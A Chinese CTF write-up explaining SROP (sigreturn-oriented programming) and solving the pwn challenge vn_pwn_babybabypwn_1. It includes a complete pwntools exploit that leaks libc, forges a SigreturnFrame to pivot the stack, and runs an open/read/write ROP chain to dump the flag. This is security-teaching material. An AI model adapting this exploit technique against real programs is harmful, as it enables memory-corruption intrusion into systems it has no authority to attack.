SROP

1. 介绍

前面虽然做过一道关于SROP的题,但并没有具体总结。这次就来总结一下

  • SROP的原理? (下文摘自CTF wiki)

    • 内核向某个进程发送signal机制,该进程会被暂时挂起,进入内核态。
    • 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。我们称ucontext以及siginfo这一段为Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的signal handler中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。
    • signal handler返回后,内核为执行sigreturn系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新pop回对应的寄存器,最后恢复进程的执行。其中,32位的sigreturn的调用号为77,64位的系统调用号为15。
  • Signal Frame的构建是比较复杂的,因为不同架构下的结构是不一样的。不过值得一提的是,在目前的pwntools中已经集成了对于SROP的攻击。所以我们可以很方便的构建出Signal Frame。

注: 在本文中,Signal Frame和SigreturnFrame是同一个意思

  • 注意点:
    1. 构建SigreturnFrame时,必须设置rsp和rip,否则就直接SIGSEV
    2. 构建SigreturnFrame时,必须确保 syscall SYS_sigreturn时,其rsp指向sigreturnFrame的首地址
    3. 如果输入SigreturnFrame后,程序 call SYS_sigreturn,则传入的SigreturnFrame 最好从第八个字节开始传入 (str(frame)[8:]),而不是目的寄存器向前偏移一个位置(不是很懂?请阅读下面的例题 :-))

2. 例子 —— vn_pwn_babybabypwn_1

分析

  • ELF文件保护全开, 但题目给出了libc
  • 程序使用了seccomp函数,只能ORW
  • 输入数据后程序会call sys_sigreturn(注意是call)
    img
  • 我们可以构建SigreturnFrame,将栈迁移到libc的bss段,然后一路ROP从而get flag.

坑点

  • 由于程序是 call sys_sigreturn ,所以当即将执行sys_sigreturn时,其rsp指向的是 &SigreturnFrame + 8(call指令会将old rip压栈)。 所以在传入SigreturnFrame时,必须从第8个字节开始,否则会SIGSEV,即

    1
    2
    3
    4
    5
    6
    7
    8
    9
    frame = SigreturnFrame()
    frame.rax = constants.SYS_read
    frame.rdi = 0
    frame.rsi = new_stack
    frame.rdx = 0x180
    frame.rsp = new_stack
    frame.rip = libc.symbols['syscall'] + 23
    # 注意下一行
    sla("Please input magic message: ", flat(frame)[8:])
  • 偏移8个字节可能大家都知道,但可能有部分小伙伴是这么做的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    ''' 注:以下64位SigreturnFrame结构,来自pwntools库中的SROP.py
    # Reference : https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf
    'amd64': {0: 'uc_flags', 8: '&uc', 16: 'uc_stack.ss_sp', 24: 'uc_stack.ss_flags',
    32: 'uc_stack.ss_size', 40: 'r8', 48: 'r9', 56: 'r10', 64: 'r11', 72: 'r12',
    80: 'r13', 88: 'r14', 96: 'r15', 104: 'rdi', 112: 'rsi', 120: 'rbp', 128: 'rbx',
    136: 'rdx', 144: 'rax', 152: 'rcx', 160: 'rsp', 168: 'rip', 176: 'eflags',
    184: 'csgsfs', 192: 'err', 200: 'trapno', 208: 'oldmask', 216: 'cr2',
    224: '&fpstate', 232: '__reserved', 240: 'sigmask'},
    '''
    frame = SigreturnFrame()
    frame.rdx = constants.SYS_read # rax
    frame.r15 = 0 # rdi
    frame.rdi = new_stack # rsi
    frame.rbx = 0x180 # rdx
    frame.rcx = new_stack # rsp
    frame.rsp = libc.symbols['syscall'] + 23 # rip
    # 注意下一行
    sla("Please input magic message: ", flat(frame))

    他们将每个寄存器的值都向上偏移8个字节,从而使rax、rdi等寄存器中刚好存入我们期望的值
    但动态调试时,执行函数(例如read),或者syscall,总会引发SIGSEV,这是为什么?

    • 原因是因为SigreturnFrame中的某个至关重要的寄存器值 —— cs/gs/fs —— 没有一起偏移过去
    • 只要再设置一条frame.eflags = 51 # cs,程序就可以正常工作了
    • 但即便如此,这种方法仍然比第一种方法麻烦,不推荐使用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-
import sys
from pwn import *

ELFname = "./vn_pwn_babybabypwn_1"

if len(sys.argv) > 1:
io = remote("node3.buuoj.cn", sys.argv[1])
else:
io = process(ELFname)

libc = ELF("./buu_libcs/ubuntu16-64-libc-2.23.so")
e = ELF(ELFname)

sla = lambda msg, content : io.sendlineafter(msg, content)
sl = lambda content : io.sendline(content)
ru = lambda msg : io.recvuntil(msg)

def debug(msg = ""):
if len(sys.argv) == 1:
gdb.attach(io, msg)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'debug'

ru("Here is my gift: ")
msg = ru("\n")[:-1]
libc_puts = int(msg, 16)
libc.address = libc_puts - libc.symbols['puts']
new_stack = libc.bss(0x60)
log.success("libc base addr: " + hex(libc.address))
log.success("new_stack addr: " + hex(new_stack))

# 方法一
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = new_stack
frame.rdx = 0x180
frame.rsp = new_stack
frame.rip = libc.symbols['syscall'] + 23
sla("Please input magic message: ", flat(frame)[8:])

# 方法二(不推荐
'''
frame = SigreturnFrame()
frame.rdx = constants.SYS_read # rax
frame.r15 = 0 # rdi
frame.rdi = new_stack # rsi
frame.rbx = 0x180 # rdx
frame.rcx = new_stack # rsp
frame.rsp = libc.symbols['syscall'] + 23 # rip
frame.eflags = 51 # cs/gs/fs
# 注意下一行
#debug("b syscall\nc")
sla("Please input magic message: ", flat(frame))
'''

rop = ROP(libc, base=new_stack)
rop.open('flag\x00', 0)
rop.read(3, libc.bss(), 0x60)
rop.write(1, libc.bss(), 0x60)
log.info(rop.dump())

# debug("b syscall\nc")
sl(rop.chain())

io.interactive()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~